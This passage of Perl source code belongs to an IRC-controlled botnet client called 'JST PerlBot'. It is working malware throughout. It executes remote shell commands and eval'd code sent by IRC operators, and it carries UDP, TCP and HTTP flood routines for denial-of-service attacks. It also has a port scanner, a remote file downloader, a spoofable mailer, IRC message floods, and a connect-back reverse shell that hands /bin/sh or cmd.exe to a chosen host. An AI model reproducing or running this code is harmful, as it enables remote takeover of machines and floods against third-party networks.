251 if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
252 $main::http_get_result = $1;
253 if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
254 my $url = $1;
255 return undef if $http_loop_check{$url}++;
256 return _get($url);
257 }
258 return undef unless $main::http_get_result =~ /^2/;
259 }
260
261 return $buf;
262 }
263
264 sub conectar {
265 my $meunick = $_[0];
266 my $server_con = $_[1];
267 my $port_con = $_[2];
268 my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
269 PeerPort=>$port_con) or return(1);
270 if (defined($IRC_socket)) {
271 $IRC_cur_socket = $IRC_socket;
272 $IRC_socket->autoflush(1);
273 $sel_cliente->add($IRC_socket);
274 $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
275 $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
276 $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
277 $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
278 nick("$meunick");
279 sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
280 sleep 1;
281 }
282 }
283
284 my $line_temp;
285 while( 1 ) {
286 while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
287 delete($irc_servers{''}) if (defined($irc_servers{''}));
288 my @ready = $sel_cliente->can_read(0);
289 next unless(@ready);
290 foreach $fh (@ready) {
291 $IRC_cur_socket = $fh;
292 $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
293 $nread = sysread($fh, $msg, 4096);
294 if ($nread == 0) {
295 $sel_cliente->remove($fh);
296 $fh->close;
297 delete($irc_servers{$fh});
298 }
299 @lines = split (/\n/, $msg);
300 for(my $c=0; $c<= $#lines; $c++) {
301 $line = $lines[$c];
302 $line=$line_temp.$line if ($line_temp);
303 $line_temp='';
304 $line =~ s/\r$//;
305 unless ($c == $#lines) {
306 parse("$line");
307 } else {
308 if ($#lines == 0) {
309 parse("$line");
310 } elsif ($lines[$c] =~ /\r$/) {
311 parse("$line");
312 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
313 parse("$line");
314 } else {
315 $line_temp = $line;
316 }
317 }
318 }
319 }
320 }
321
322 sub parse {
323 my $servarg = shift;
324 if ($servarg =~ /^PING \:(.*)/) {
325 sendraw("PONG :$1");
326 } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
327 my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
328 if ($args =~ /^\001VERSION\001$/) {
329 notice("$pn", "".$vers."");
330 }
331 if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
332 if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
333 if ($onde eq "$meunick"){
334 shell("$pn", "$args");
335 }
336 if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
337 my $natrix = $1;
338 my $arg = $2;
339 if ($arg =~ /^\!(.*)/) {
340 ircase("$pn","$onde","$1");
341 } elsif ($arg =~ /^\@(.*)/) {
342 $ondep = $onde;
343 $ondep = $pn if $onde eq $meunick;
344 bfunc("$ondep","$1");
345 } else {
346 shell("$onde", "$arg");
347 }
348 }
349 }
350 }
351 }
352
353 elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
354 if (lc($1) eq lc($meunick)) {
355 $meunick=$4;
356 $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
357 }
358 } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
359 nick("$meunick-".int rand(9999));
360 } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
361 $meunick = $2;
362 $MYID = `uname -a`;
363 $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
364 $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
365 foreach my $canal (@channels) {
366 sendraw("MODE $nick +x");
367 sendraw("JOIN $canal");
368 sendraw("PRIVMSG $canal : $MYID ");
369 }
370 }
371 }
372
373 sub bfunc {
374 my $printl = $_[0];
375 my $funcarg = $_[1];
376 if (my $pid = fork) {
377 waitpid($pid, 0);
378 } else {
379 if (fork) {
380 exit;
381 } else {
382 ###########################
383 ##### [ Help Module ] #####
384 ###########################
385
386 if ($funcarg =~ /^help/) {
387 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
388 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1JST PerlBot Main Help: ");
389 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
390 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system ");
391 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version ");
392 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel ");
393 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood ");
394 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils ");
395 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
396 }
397
398 if ($funcarg =~ /^system/) {
399 $uptime=`uptime`;
400 $ownd=`pwd`;
401 $id=`id`;
402 $uname=`uname -srp`;
403 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
404 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration: ");
405 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
406 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server : 12$server ");
407 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port : 12$port ");
408 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels : 12@channels ");
409 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a : 12$uname ");
410 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime : 12$uptime ");
411 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process ");
412 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID : 12$$ ");
413 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID : 12$id ");
414 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir : 12$ownd ");
415 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
416 }
417
418 if ($funcarg =~ /^version/){
419 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
420 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations: ");
421 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
422 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version ");
423 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12FrankBlack ");
424 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year : 122011 ");
425 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
426 }
427
428 if ($funcarg =~ /^flood/) {
429 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
430 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1JST PerlBot Flood Help: ");
431 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
432 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time> ");
433 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time> ");
434 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time> ");
435 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time> ");
436 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick> ");
437 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick> ");
438 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick> ");
439 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
440 }
441
442 if ($funcarg =~ /^channel/) {
443 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
444 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1JST PerlBot Channel Help: ");
445 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
446 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel> ");
447 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel> ");
448 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel> ");
449 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick> ");
450 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick> ");
451 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick> ");
452 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick> ");
453 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick> ");
454 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick> ");
455 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit ");
456 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die ");
457 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
458 }
459
460 if ($funcarg =~ /^utils/) {
461 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
462 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1JST PerlBot Utils Help: ");
463 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
464 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port> ");
465 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file> ");
466 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message> ");
467 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip> ");
468 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port> ");
469 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip> ");
470 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example) ");
471 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
472 }
473
474 #########################
475 ##### [ Functions ] #####
476 #########################
477
478 if ($funcarg =~ /^die/) {
479 sendraw($IRC_cur_socket, "QUIT :");
480 $killd = "kill -9 ".fork;
481 system (`$killd`);
482 }
483 ###########
484 if ($funcarg =~ /^join (.*)/) {
485 sendraw($IRC_cur_socket, "JOIN ".$1);
486 }
487
488 if ($funcarg =~ /^part (.*)/) {
489 sendraw($IRC_cur_socket, "PART ".$1);
490 }
491 ###########
492 if ($funcarg =~ /^portscan (.*)/) {
493 my $hostip="$1";
494 my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
495 my (@aberta, %porta_banner);
496 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. ");
497 foreach my $porta (@portas) {
498 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
499 if ($scansock) {
500 push (@aberta, $porta);
501 $scansock->close;
502 }
503 }
504 if (@aberta) {
505 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta ");
506 } else {
507 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. ");
508 }
509 }
510 ##############
511 if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
512 getstore("$1", "$2");
513 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 ");
514 }
515 ##############
516 if ($funcarg =~ /^dns\s+(.*)/){
517 my $nsku = $1;
518 $mydns = inet_ntoa(inet_aton($nsku));
519 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns ");
520 }
521 ##############
522 if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {
523 my $hostip= "$1";
524 my $portsc= "$2";
525 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
526 if ($scansock) {
527 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. ");
528 }
529 else {
530 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. ");
531 }
532 }
533 ##############
534
535 ##############
536
537 ##############
538 if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
539 return unless $pacotes;
540 socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
541 my $alvo=inet_aton("$1");
542 my $porta = "$2";
543 my $dtime = "$3";
544 my $pacote;
545 my $pacotese;
546 my $fim = time + $dtime;
547 my $pacota = 1;
548 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
549 while (($pacota == "1") && ($pacotes == "1")) {
550 $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
551 $pacote=$rand x $rand x $rand;
552 $porta = int(rand 65000) +1 if ($porta == "0");
553 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
554 }
555 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
556 }
557 ##############
558 if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
559 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. ");
560 my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
561 $dtime = 1 if $dtime == 0;
562 my %bytes;
563 $bytes{igmp} = $2 * $pacotes{igmp};
564 $bytes{icmp} = $2 * $pacotes{icmp};
565 $bytes{o} = $2 * $pacotes{o};
566 $bytes{udp} = $2 * $pacotes{udp};
567 $bytes{tcp} = $2 * $pacotes{tcp};
568 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
569 }
570 ##############
571
572 ##############
573
574 ##############
575 if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
576 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. ");
577 my $itime = time;
578 my ($cur_time);
579 $cur_time = time - $itime;
580 while ($3>$cur_time){
581 $cur_time = time - $itime;
582 &tcpflooder("$1","$2","$3");
583 }
584 sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attack ended on: 12".$1.":".$2."9,1. ");
585 }
586 ##############
587 if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
588 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP DDOS] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. ");
589 my $itime = time;
590 my ($cur_time);
591 $cur_time = time - $itime;
592 while ($2>$cur_time){
593 $cur_time = time - $itime;
594 my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
595 print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
596 close($socket);
597 }
598 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP DDOS] 9,1Attacking ended on: 12".$1."9,1. ");
599 }
600 ##############
601 if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {
602 my $host = "$1";
603 my $port = "$2";
604 my $proto = getprotobyname('tcp');
605 my $iaddr = inet_aton($host);
606 my $paddr = sockaddr_in($port, $iaddr);
607 my $shell = "/bin/sh -i";
608 if ($^O eq "MSWin32") {
609 $shell = "cmd.exe";
610 }
611 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port ");
612 socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
613 connect(SOCKET, $paddr) or die "connect: $!";
614 open(STDIN, ">&SOCKET");
615 open(STDOUT, ">&SOCKET");
616 open(STDERR, ">&SOCKET");
617 system("$shell");
618 close(STDIN);
619 close(STDOUT);
620 close(STDERR);
621 }
622 ##############
623 if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
624 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 ");
625 $subject = $1;
626 $sender = $2;
627 $recipient = $3;
628 @corpo = $4;
629 $mailtype = "content-type: text/html";
630 $sendmail = '/usr/sbin/sendmail';
631 open (SENDMAIL, "| $sendmail -t");
632 print SENDMAIL "$mailtype\n";
633 print SENDMAIL "Subject: $subject\n";
634 print SENDMAIL "From: $sender\n";
635 print SENDMAIL "To: $recipient\n\n";
636 print SENDMAIL "@corpo\n\n";
637 close (SENDMAIL);
638 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient ");
639 }
640 exit;
641 }
642 }
643 ##############
644 if ($funcarg =~ /^ctcpflood (.*)/) {
645 my $target = "$1";
646 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." ");
647 for (1..10) {
648 sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
649 sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
650 }
651 }
652 ##############
653 if ($funcarg =~ /^msgflood (.*)/) {
654 my $target = "$1";
655 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." ");
656 sendraw($IRC_cur_socket, "PRIVMSG ".$target." : MaX se NDQ eX ceeDeDMaX se NDQ eX ceeDeDMaX se NDQ eX ceeDeD3 MaX se NDQ eX ceeDeDMaX se NDQ eX ceeDeDMaX se MaX se NDQ eX ceeDeDMaX se NDQ eX ceeDeDMaX se NDQ eX ceeDeD3 MaX se NDQ eX ceeDeDMaX se NDQ eX ceeDeDMaX seMaX se NDQ eX ceeDeDMaX se NDQ eX ceeDeDMaX seMaX se NDQ eX ce\n");
657 sendraw($IRC_cur_socket, "PRIVMSG ".$target." : 7,13MaX se NDQ eX ceeDeDMaX se13,7 NDQ eX ceeDeDMaX se NDQ eX ceeDeD3 MaX s5,11e NDQ eeDeDMaX se NDQ eX ceeDeD3 MaX se ND9,3Q eX ceeDeDMaX se NDQ eX ceeDeDMaX6,2 se NDQ eX ceeDe MaX se NDQ eX ceeDeDMaX se NDQ e7,8X ceD");
658 sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
659 sendraw($IRC_cur_socket, "PRIVMSG ".$target." :@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%#@ %#@%@$#@%");
660 sendraw($IRC_cur_socket, "PRIVMSG ".$target." :2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o");
661 }
662 ##############
663 if ($funcarg =~ /^noticeflood (.*)/) {
664 my $target = "$1";
665 sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." ");
666 for (1..2){
667 sendraw($IRC_cur_socket, "NOTICE ".$target." :2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o11O14o2O3o4O5o6O7o8O9o10O11o12O13o14O2o3O4o5O6o7O8o9O10o");
668 }
669 }
670 ##############
671
672 ##############
673 sub ircase {
674 my ($kem, $printl, $case) = @_;
675 if ($case =~ /^join (.*)/) {
676 j("$1");
677 }
678 elsif ($case =~ /^part (.*)/) {
679 p("$1");
680 }
681 elsif ($case =~ /^rejoin\s+(.*)/) {
682 my $chan = $1;
683 if ($chan =~ /^(\d+) (.*)/) {
684 for (my $ca = 1; $ca <= $1; $ca++ ) {
685 p("$2");
686 j("$2");
687 }
688 } else {
689 p("$chan");
690 j("$chan");
691 }
692 }
693 elsif ($case =~ /^op/) {
694 op("$printl", "$kem") if $case eq "op";
695 my $oarg = substr($case, 3);
696 op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
697 }
698 elsif ($case =~ /^deop/) {
699 deop("$printl", "$kem") if $case eq "deop";
700 my $oarg = substr($case, 5);
701 deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
702 }
703 elsif ($case =~ /^voice/) {
704 voice("$printl", "$kem") if $case eq "voice";
705 $oarg = substr($case, 6);
706 voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
707 }
708 elsif ($case =~ /^devoice/) {
709 devoice("$printl", "$kem") if $case eq "devoice";
710 $oarg = substr($case, 8);
711 devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
712 }
713 elsif ($case =~ /^msg\s+(\S+) (.*)/) {
714 msg("$1", "$2");
715 }
716 elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
717 for (my $cf = 1; $cf <= $1; $cf++) {
718 msg("$2", "$3");
719 }
720 }
721 elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
722 ctcp("$1", "$2");
723 }
724 elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
725 for (my $cf = 1; $cf <= $1; $cf++) {
726 ctcp("$2", "$3");
727 }
728 }
729 elsif ($case =~ /^invite\s+(\S+) (.*)/) {
730 invite("$1", "$2");
731 }
732 elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {
733 conectar("$2", "$1", "6667");
734 }
735 elsif ($case =~ /^nick (.*)/) {
736 nick("$1");
737 }
738 elsif ($case =~ /^raw (.*)/) {
739 sendraw("$1");
740 }
741 elsif ($case =~ /^eval (.*)/) {
742 eval "$1";
743 }
744 elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
745 sleep int(rand($2));
746 j("$1");
747 }
748 elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
749 sleep int(rand($2));
750 p("$1");
751 }
752 elsif ($case =~ /^quit/) {
753 quit();
754 }
755 }
756 ##############
757 sub shell {
758 my $printl=$_[0];
759 my $comando=$_[1];
760 if ($comando =~ /cd (.*)/) {
761 chdir("$1") || msg("$printl", "No such file or directory");
762 return;
763 } elsif ($pid = fork) {
764 waitpid($pid, 0);
765 } else {
766 if (fork) {
767 exit;
768 } else {
769 my @resp=`$comando 2>&1 3>&1`;
770 my $c=0;
771 foreach my $linha (@resp) {
772 $c++;
773 chop $linha;
774 sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
775 if ($c == "$linas_max") {
776 $c=0;
777 sleep $sleep;
778 }
779 }
780 exit;
781 }
782 }
783 }
784 ##############
785 sub udpflooder {
786 my $iaddr = inet_aton($_[0]);
787 my $msg = 'A' x $_[1];
788 my $ftime = $_[2];
789 my $cp = 0;
790 my (%pacotes);
791 $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
792 socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
793 socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
794 socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
795 socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
796 return(undef) if $cp == 4;
797 my $itime = time;
798 my ($cur_time);
799 while ( 1 ) {
800 for (my $port = 1;
801 $port <= 65000; $port++) {
802 $cur_time = time - $itime;
803 last if $cur_time >= $ftime;
804 send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
805 send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
806 send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
807 send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
808 for (my $pc = 3;
809 $pc <= 255;$pc++) {
810 next if $pc == 6;
811 $cur_time = time - $itime;
812 last if $cur_time >= $ftime;
813 socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
814 send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
815 }
816 }
817 last if $cur_time >= $ftime;
818 }
819 return($cur_time, %pacotes);
820 }
821 ##############
822 sub tcpflooder {
823 my $itime = time;
824 my ($cur_time);
825 my ($ia,$pa,$proto,$j,$l,$t);
826 $ia=inet_aton($_[0]);
827 $pa=sockaddr_in($_[1],$ia);
828 $ftime=$_[2];
829 $proto=getprotobyname('tcp');
830 $j=0;$l=0;
831 $cur_time = time - $itime;
832 while ($l<1000){
833 $cur_time = time - $itime;
834 last if $cur_time >= $ftime;
835 $t="SOCK$l";
836 socket($t,PF_INET,SOCK_STREAM,$proto);
837 connect($t,$pa)||$j--;
838 $j++;$l++;
839 }
840 $l=0;
841 while ($l<1000){
842 $cur_time = time - $itime;
843 last if $cur_time >= $ftime;
844 $t="SOCK$l";
845 shutdown($t,2);
846 $l++;
847 }
848 }
849 ##############
850 sub msg {
851 return unless $#_ == 1;
852 sendraw("PRIVMSG $_[0] :$_[1]");
853 }
854 sub ctcp {
855 return unless $#_ == 1;
